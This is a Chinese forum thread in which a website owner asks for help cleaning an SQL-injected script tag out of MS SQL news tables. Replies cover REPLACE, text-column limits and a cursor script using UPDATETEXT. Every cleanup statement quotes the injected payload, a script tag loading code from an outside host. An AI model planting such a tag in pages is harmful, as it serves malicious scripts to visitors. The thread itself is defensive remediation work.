update Bn_Middle_News set Class_Id=replace(CAST(Class_Id AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set News_Title=replace(CAST(News_Title AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set News_Content=replace(CAST(News_Content AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set News_Time=replace(CAST(News_Time AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set Bn_Hits=replace(CAST(Bn_Hits AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
以上几句,当字段本身的数据类型为text时,就有错误,我改成网上的解决办法
update Bn_Middle_News set News_Content=replace(convert(varchar(8000),News_Content),'</title><script src=http://google-stats47.info/ur.php></script>','')
还是错误,这是什么原因啊?大家帮帮忙啊?我网站中毒了。
update Bn_Middle_News set News_Title=replace(CAST(News_Title AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set News_Content=replace(CAST(News_Content AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set News_Time=replace(CAST(News_Time AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
update Bn_Middle_News set Bn_Hits=replace(CAST(Bn_Hits AS varchar(8000)),'</title><script src=http://google-stats47.info/ur.php></script>','')
以上几句,当字段本身的数据类型为text时,就有错误,我改成网上的解决办法
update Bn_Middle_News set News_Content=replace(convert(varchar(8000),News_Content),'</title><script src=http://google-stats47.info/ur.php></script>','')
还是错误,这是什么原因啊?大家帮帮忙啊?我网站中毒了。
replace(‘’,‘’,‘’)
第一个参数是字段,第二个是要替换的,第三个是要替换成什么的
如
replace('abc_d','_','') 结果是 abcd
这些是不支持replace函数的
杯具!暂时这样处理!解决需要找到注入点,检查代码或漏洞。
--*/
--创建数据测试环境
--create table #tb(aa text)
declare @s_str varchar(8000),@d_str varchar(8000), --定义替换的字符串
@p varbinary(16),@postion int,@rplen int,@i_Start int, @i_End intselect identity(int,1,1) as [id],newsid into # from news
select @i_Start=min([id]),@i_End=max([id]) from #
while (@i_Start<=@i_End)
begin
--insert into #tb(aa) select content from # where [id]=@i_Start
select @s_str='\' --要替换的字符串
,@d_str='!' --替换成的字符串
--字符串替换处理
select @p=textptr(content),@rplen=len(@s_str),@postion=charindex(@s_str,content)-1 from news where newsid in (select top 1 newsid from # where [id]=@i_Start)
while @postion>0
begin
updatetext news.content @p @postion @rplen @d_str
select @postion=charindex(@s_str,content)-1 from news where newsid in (select top 1 newsid from # where [id]=@i_Start)
end
--truncate table #tb
select @i_Start=@i_Start+1
end
--删除数据测试环境
--drop table #tb
drop table #
这些是不支持replace函数的
那我怎么替换啊?
claro的方法试过了,还是错误。
需要UPDATETEXT也不行啊
zsh0809的看不懂哦不敢随便运行